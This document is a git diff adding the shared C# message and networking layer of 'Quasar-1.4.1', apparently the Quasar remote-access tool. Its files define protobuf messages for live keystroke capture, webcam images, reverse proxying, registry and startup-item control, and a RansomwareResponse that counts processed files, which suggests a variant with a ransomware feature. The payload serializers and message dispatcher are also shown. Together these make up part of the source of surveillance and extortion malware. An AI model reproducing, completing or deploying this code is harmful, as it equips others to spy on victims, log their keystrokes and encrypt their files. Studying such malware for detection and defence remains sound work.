IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetMonitorsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetMonitorsResponse.cs new file mode 100755 index 0000000..4d1a4b8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetMonitorsResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetMonitorsResponse : IMessage + { + [ProtoMember(1)] + public int Number { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetProcesses.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetProcesses.cs new file mode 100755 index 0000000..99553a2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetProcesses.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetProcesses : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetProcessesResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetProcessesResponse.cs new file mode 100755 index 0000000..c202424 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetProcessesResponse.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetProcessesResponse : IMessage + { + [ProtoMember(1)] + public Process[] Processes { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetRegistryKeysResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetRegistryKeysResponse.cs new file mode 100755 index 0000000..485b356 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetRegistryKeysResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetRegistryKeysResponse : IMessage + { + [ProtoMember(1)] + public RegSeekerMatch[] Matches { get; set; } + + [ProtoMember(2)] + public string RootKey { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs new file mode 100755 index 0000000..d523c72 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetRenameRegistryKeyResponse : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string OldKeyName { get; set; } + + [ProtoMember(3)] + public string NewKeyName { get; set; } + + [ProtoMember(4)] + public bool IsError { get; set; } + + [ProtoMember(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs new file mode 100755 index 0000000..ca6ca7c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetRenameRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string OldValueName { get; set; } + + [ProtoMember(3)] + public string NewValueName { get; set; } + + [ProtoMember(4)] + public bool IsError { get; set; } + + [ProtoMember(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItems.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItems.cs new file mode 100755 index 0000000..05b7c1e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItems.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetStartupItems : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItemsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItemsResponse.cs new file mode 100755 index 0000000..9dd2eda --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItemsResponse.cs @@ -0,0 +1,13 @@ +using ProtoBuf; +using Quasar.Common.Models; +using System.Collections.Generic; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetStartupItemsResponse : IMessage + { + [ProtoMember(1)] + public List StartupItems { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfo.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfo.cs new file mode 100755 index 0000000..34c67b7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfo.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetSystemInfo : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfoResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfoResponse.cs new file mode 100755 index 0000000..ff7243b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfoResponse.cs @@ -0,0 +1,13 @@ +using ProtoBuf; +using System; +using System.Collections.Generic; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetSystemInfoResponse : IMessage + { + [ProtoMember(1)] + public List> SystemInfos { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamResponse.cs new file mode 100755 index 0000000..1aa5c26 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetWebcamResponse : IMessage + { + [ProtoMember(1)] + public byte[] Image { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetWebcams.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcams.cs new file mode 100755 index 0000000..7256e7a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcams.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetWebcams : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamsResponse.cs new file mode 100755 index 0000000..a605a91 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamsResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetWebcamsResponse : IMessage + { + [ProtoMember(1)] + public string Webcams { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/IMessage.cs b/Quasar-1.4.1/Quasar.Common/Messages/IMessage.cs new file mode 100755 index 0000000..636aa99 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/IMessage.cs @@ -0,0 +1,6 @@ +namespace Quasar.Common.Messages +{ + public interface IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/IMessageProcessor.cs b/Quasar-1.4.1/Quasar.Common/Messages/IMessageProcessor.cs new file mode 100755 index 0000000..61bfc77 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/IMessageProcessor.cs @@ -0,0 +1,31 @@ +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + /// + /// Provides basic functionality to process messages. + /// + public interface IMessageProcessor + { + /// + /// Decides whether this message processor can execute the specified message. + /// + /// The message to execute. + /// True if the message can be executed by this message processor, otherwise false. + bool CanExecute(IMessage message); + + /// + /// Decides whether this message processor can execute messages received from the sender. + /// + /// The sender of a message. + /// True if this message processor can execute messages from the sender, otherwise false. + bool CanExecuteFrom(ISender sender); + + /// + /// Executes the received message. + /// + /// The sender of this message. + /// The received message. + void Execute(ISender sender, IMessage message); + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/LiveKeystrokeData.cs b/Quasar-1.4.1/Quasar.Common/Messages/LiveKeystrokeData.cs new file mode 100755 index 0000000..1aeb734 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/LiveKeystrokeData.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class LiveKeystrokeData : IMessage + { + [ProtoMember(1)] + public string WindowTitle { get; set; } + + [ProtoMember(2)] + public string Keystroke { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/MessageHandler.cs b/Quasar-1.4.1/Quasar.Common/Messages/MessageHandler.cs new file mode 100755 index 0000000..7982a78 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/MessageHandler.cs @@ -0,0 +1,66 @@ +using Quasar.Common.Networking; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Common.Messages +{ + /// + /// Handles registrations of s and processing of s. + /// + public static class MessageHandler + { + /// + /// List of registered s. + /// + private static readonly List Processors = new List(); + + /// + /// Used in lock statements to synchronize access to between threads. + /// + private static readonly object SyncLock = new object(); + + /// + /// Registers a to the available . + /// + /// The to register. + public static void Register(IMessageProcessor proc) + { + lock (SyncLock) + { + if (Processors.Contains(proc)) return; + Processors.Add(proc); + } + } + + /// + /// Unregisters a from the available . + /// + /// + public static void Unregister(IMessageProcessor proc) + { + lock (SyncLock) + { + Processors.Remove(proc); + } + } + + /// + /// Forwards the received to the appropriate s to execute it. + /// + /// The sender of the message. + /// The received message. + public static void Process(ISender sender, IMessage msg) + { + IEnumerable availableProcessors; + lock (SyncLock) + { + // select appropriate message processors + availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList(); + // ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors + } + + foreach (var executor in availableProcessors) + executor.Execute(sender, msg); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/MessageProcessorBase.cs b/Quasar-1.4.1/Quasar.Common/Messages/MessageProcessorBase.cs new file mode 100755 index 0000000..f84cf82 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/MessageProcessorBase.cs @@ -0,0 +1,107 @@ +using Quasar.Common.Networking; +using System; +using System.Threading; + +namespace Quasar.Common.Messages +{ + /// + /// Provides a MessageProcessor implementation that provides progress report callbacks. + /// + /// Specifies the type of the progress report value. + /// + /// Any event handlers registered with the event are invoked through a + /// instance chosen when the instance is constructed. + /// + public abstract class MessageProcessorBase : IMessageProcessor, IProgress + { + /// + /// The synchronization context chosen upon construction. + /// + protected readonly SynchronizationContext SynchronizationContext; + + /// + /// A cached delegate used to post invocation to the synchronization context. + /// + private readonly SendOrPostCallback _invokeReportProgressHandlers; + + /// + /// Represents the method that will handle progress updates. + /// + /// The message processor which updated the progress. + /// The new progress. + public delegate void ReportProgressEventHandler(object sender, T value); + + /// + /// Raised for each reported progress value. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event ReportProgressEventHandler ProgressChanged; + + /// + /// Reports a progress change. + /// + /// The value of the updated progress. + protected virtual void OnReport(T value) + { + // If there's no handler, don't bother going through the sync context. + // Inside the callback, we'll need to check again, in case + // an event handler is removed between now and then. + var handler = ProgressChanged; + if (handler != null) + { + SynchronizationContext.Post(_invokeReportProgressHandlers, value); + } + } + + /// + /// Initializes the + /// + /// + /// If this value is false, the progress callbacks will be invoked on the ThreadPool. + /// Otherwise the current SynchronizationContext will be used. + /// + protected MessageProcessorBase(bool useCurrentContext) + { + _invokeReportProgressHandlers = InvokeReportProgressHandlers; + SynchronizationContext = useCurrentContext ? SynchronizationContext.Current : ProgressStatics.DefaultContext; + } + + /// + /// Invokes the progress event callbacks. + /// + /// The progress value. + private void InvokeReportProgressHandlers(object state) + { + var handler = ProgressChanged; + handler?.Invoke(this, (T)state); + } + + /// + public abstract bool CanExecute(IMessage message); + + /// + public abstract bool CanExecuteFrom(ISender sender); + + /// + public abstract void Execute(ISender sender, IMessage message); + + void IProgress.Report(T value) => OnReport(value); + } + + /// + /// Holds static values for . + /// + /// + /// This avoids one static instance per type T. + /// + internal static class ProgressStatics + { + /// + /// A default synchronization context that targets the . + /// + internal static readonly SynchronizationContext DefaultContext = new SynchronizationContext(); + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/NewSurvivalLog.cs b/Quasar-1.4.1/Quasar.Common/Messages/NewSurvivalLog.cs new file mode 100755 index 0000000..2ae6a61 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/NewSurvivalLog.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class NewSurvivalLog : IMessage + { + [ProtoMember(1)] + public string Log { get; set; } + + [ProtoMember(2)] + public string LogType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/RansomwareResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/RansomwareResponse.cs new file mode 100755 index 0000000..3ed48c4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/RansomwareResponse.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class RansomwareResponse : IMessage + { + [ProtoMember(1)] + public string Status { get; set; } + + [ProtoMember(2)] + public int FilesProcessed { get; set; } + + [ProtoMember(3)] + public string Message { get; set; } + + [ProtoMember(4)] + public bool IsComplete { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs new file mode 100755 index 0000000..cd870ea --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyConnect : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public string Target { get; set; } + + [ProtoMember(3)] + public int Port { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs new file mode 100755 index 0000000..57fa857 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyConnectResponse : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public bool IsConnected { get; set; } + + [ProtoMember(3)] + public byte[] LocalAddress { get; set; } + + [ProtoMember(4)] + public int LocalPort { get; set; } + + [ProtoMember(5)] + public string HostName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs new file mode 100755 index 0000000..5f34679 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyData : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs new file mode 100755 index 0000000..2399e06 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyDisconnect : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/SetStatus.cs b/Quasar-1.4.1/Quasar.Common/Messages/SetStatus.cs new file mode 100755 index 0000000..b91a2f9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/SetStatus.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetStatus : IMessage + { + [ProtoMember(1)] + public string Message { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/SetStatusFileManager.cs b/Quasar-1.4.1/Quasar.Common/Messages/SetStatusFileManager.cs new file mode 100755 index 0000000..ee6f5b8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/SetStatusFileManager.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetStatusFileManager : IMessage + { + [ProtoMember(1)] + public string Message { get; set; } + + [ProtoMember(2)] + public bool SetLastDirectorySeen { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/SetUserStatus.cs b/Quasar-1.4.1/Quasar.Common/Messages/SetUserStatus.cs new file mode 100755 index 0000000..798d847 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/SetUserStatus.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetUserStatus : IMessage + { + [ProtoMember(1)] + public UserStatus Message { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/SystemOptionResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/SystemOptionResponse.cs new file mode 100755 index 0000000..6efdfcb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/SystemOptionResponse.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SystemOptionResponse : IMessage + { + [ProtoMember(1)] + public string Message { get; set; } + + [ProtoMember(2)] + public bool Success { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/TypeRegistry.cs b/Quasar-1.4.1/Quasar.Common/Messages/TypeRegistry.cs new file mode 100755 index 0000000..4b1376f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/TypeRegistry.cs @@ -0,0 +1,49 @@ +using ProtoBuf.Meta; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Common.Messages +{ + public static class TypeRegistry + { + /// + /// The internal index of the message type. + /// + private static int _typeIndex; + + /// + /// Adds a Type to the serializer so a message can be properly serialized. + /// + /// The parent type, i.e.: IMessage + /// Type to be added + public static void AddTypeToSerializer(Type parent, Type type) + { + if (type == null || parent == null) + throw new ArgumentNullException(); + + bool isAlreadyAdded = RuntimeTypeModel.Default[parent].GetSubtypes().Any(subType => subType.DerivedType.Type == type); + + if (!isAlreadyAdded) + RuntimeTypeModel.Default[parent].AddSubType(++_typeIndex, type); + } + + /// + /// Adds Types to the serializer. + /// + /// The parent type, i.e.: IMessage + /// Types to add. + public static void AddTypesToSerializer(Type parent, params Type[] types) + { + foreach (Type type in types) + AddTypeToSerializer(parent, type); + } + + public static IEnumerable GetPacketTypes(Type type) + { + return AppDomain.CurrentDomain.GetAssemblies() + .SelectMany(s => s.GetTypes()) + .Where(p => type.IsAssignableFrom(p) && !p.IsInterface); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/Drive.cs b/Quasar-1.4.1/Quasar.Common/Models/Drive.cs new file mode 100755 index 0000000..dfae29f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/Drive.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Drive + { + [ProtoMember(1)] + public string DisplayName { get; set; } + + [ProtoMember(2)] + public string RootDirectory { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/FileChunk.cs b/Quasar-1.4.1/Quasar.Common/Models/FileChunk.cs new file mode 100755 index 0000000..cab5564 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/FileChunk.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileChunk + { + [ProtoMember(1)] + public long Offset { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/FileSystemEntry.cs b/Quasar-1.4.1/Quasar.Common/Models/FileSystemEntry.cs new file mode 100755 index 0000000..216a77f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/FileSystemEntry.cs @@ -0,0 +1,25 @@ +using System; +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileSystemEntry + { + [ProtoMember(1)] + public FileType EntryType { get; set; } + + [ProtoMember(2)] + public string Name { get; set; } + + [ProtoMember(3)] + public long Size { get; set; } + + [ProtoMember(4)] + public DateTime LastAccessTimeUtc { get; set; } + + [ProtoMember(5)] + public ContentType? ContentType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/Process.cs b/Quasar-1.4.1/Quasar.Common/Models/Process.cs new file mode 100755 index 0000000..a28496c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/Process.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Process + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public int Id { get; set; } + + [ProtoMember(3)] + public string MainWindowTitle { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/RegSeekerMatch.cs b/Quasar-1.4.1/Quasar.Common/Models/RegSeekerMatch.cs new file mode 100755 index 0000000..3ea4bf5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/RegSeekerMatch.cs @@ -0,0 +1,22 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RegSeekerMatch + { + [ProtoMember(1)] + public string Key { get; set; } + + [ProtoMember(2)] + public RegValueData[] Data { get; set; } + + [ProtoMember(3)] + public bool HasSubKeys { get; set; } + + public override string ToString() + { + return $"({Key}:{Data})"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/RegValueData.cs b/Quasar-1.4.1/Quasar.Common/Models/RegValueData.cs new file mode 100755 index 0000000..08a96b6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/RegValueData.cs @@ -0,0 +1,18 @@ +using Microsoft.Win32; +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RegValueData + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public RegistryValueKind Kind { get; set; } + + [ProtoMember(3)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/StartupItem.cs b/Quasar-1.4.1/Quasar.Common/Models/StartupItem.cs new file mode 100755 index 0000000..0e1a090 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/StartupItem.cs @@ -0,0 +1,18 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class StartupItem + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public string Path { get; set; } + + [ProtoMember(3)] + public StartupType Type { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/TcpConnection.cs b/Quasar-1.4.1/Quasar.Common/Models/TcpConnection.cs new file mode 100755 index 0000000..40c4538 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/TcpConnection.cs @@ -0,0 +1,27 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class TcpConnection + { + [ProtoMember(1)] + public string ProcessName { get; set; } + + [ProtoMember(2)] + public string LocalAddress { get; set; } + + [ProtoMember(3)] + public ushort LocalPort { get; set; } + + [ProtoMember(4)] + public string RemoteAddress { get; set; } + + [ProtoMember(5)] + public ushort RemotePort { get; set; } + + [ProtoMember(6)] + public ConnectionState State { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/NativeMethods.cs b/Quasar-1.4.1/Quasar.Common/NativeMethods.cs new file mode 100755 index 0000000..94f8fcd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/NativeMethods.cs @@ -0,0 +1,27 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Common +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public class NativeMethods + { + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcpy(void* dst, void* src, uint count); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool DeleteFile(string name); + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Networking/ISender.cs b/Quasar-1.4.1/Quasar.Common/Networking/ISender.cs new file mode 100755 index 0000000..0f06b24 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Networking/ISender.cs @@ -0,0 +1,10 @@ +using Quasar.Common.Messages; + +namespace Quasar.Common.Networking +{ + public interface ISender + { + void Send(T message) where T : IMessage; + void Disconnect(); + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Networking/PayloadReader.cs b/Quasar-1.4.1/Quasar.Common/Networking/PayloadReader.cs new file mode 100755 index 0000000..c1ad7fc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Networking/PayloadReader.cs @@ -0,0 +1,75 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadReader : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadReader(byte[] payload, int length, bool leaveInnerStreamOpen) + { + _innerStream = new MemoryStream(payload, 0, length, false, true); + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public PayloadReader(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public int ReadInteger() + { + return BitConverter.ToInt32(ReadBytes(4), 0); + } + + public byte[] ReadBytes(int length) + { + if (_innerStream.Position + length <= _innerStream.Length) + { + byte[] result = new byte[length]; + _innerStream.Read(result, 0, result.Length); + return result; + } + throw new OverflowException($"Unable to read {length} bytes from stream"); + } + + /// + /// Reads the serialized message of the payload and deserializes it. + /// + /// The deserialized message of the payload. + public IMessage ReadMessage() + { + ReadInteger(); + /* Length prefix is ignored here and already handled in Client class, + * it would cause to much trouble to check here for split or not fully + * received packets. + */ + IMessage message = Serializer.Deserialize(_innerStream); + return message; + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Networking/PayloadWriter.cs b/Quasar-1.4.1/Quasar.Common/Networking/PayloadWriter.cs new file mode 100755 index 0000000..000d808 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Networking/PayloadWriter.cs @@ -0,0 +1,65 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadWriter : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadWriter(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public void WriteBytes(byte[] value) + { + _innerStream.Write(value, 0, value.Length); + } + + public void WriteInteger(int value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + /// + /// Writes a serialized message as payload to the stream. + /// + /// The message to write. + /// The amount of written bytes to the stream. + public int WriteMessage(IMessage message) + { + using (MemoryStream ms = new MemoryStream()) + { + Serializer.Serialize(ms, message); + byte[] payload = ms.ToArray(); + WriteInteger(payload.Length); + WriteBytes(payload); + return sizeof(int) + payload.Length; + } + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar-1.4.1/Quasar.Common/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..6f846df --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Properties/AssemblyInfo.cs @@ -0,0 +1,37 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Quasar Common")] 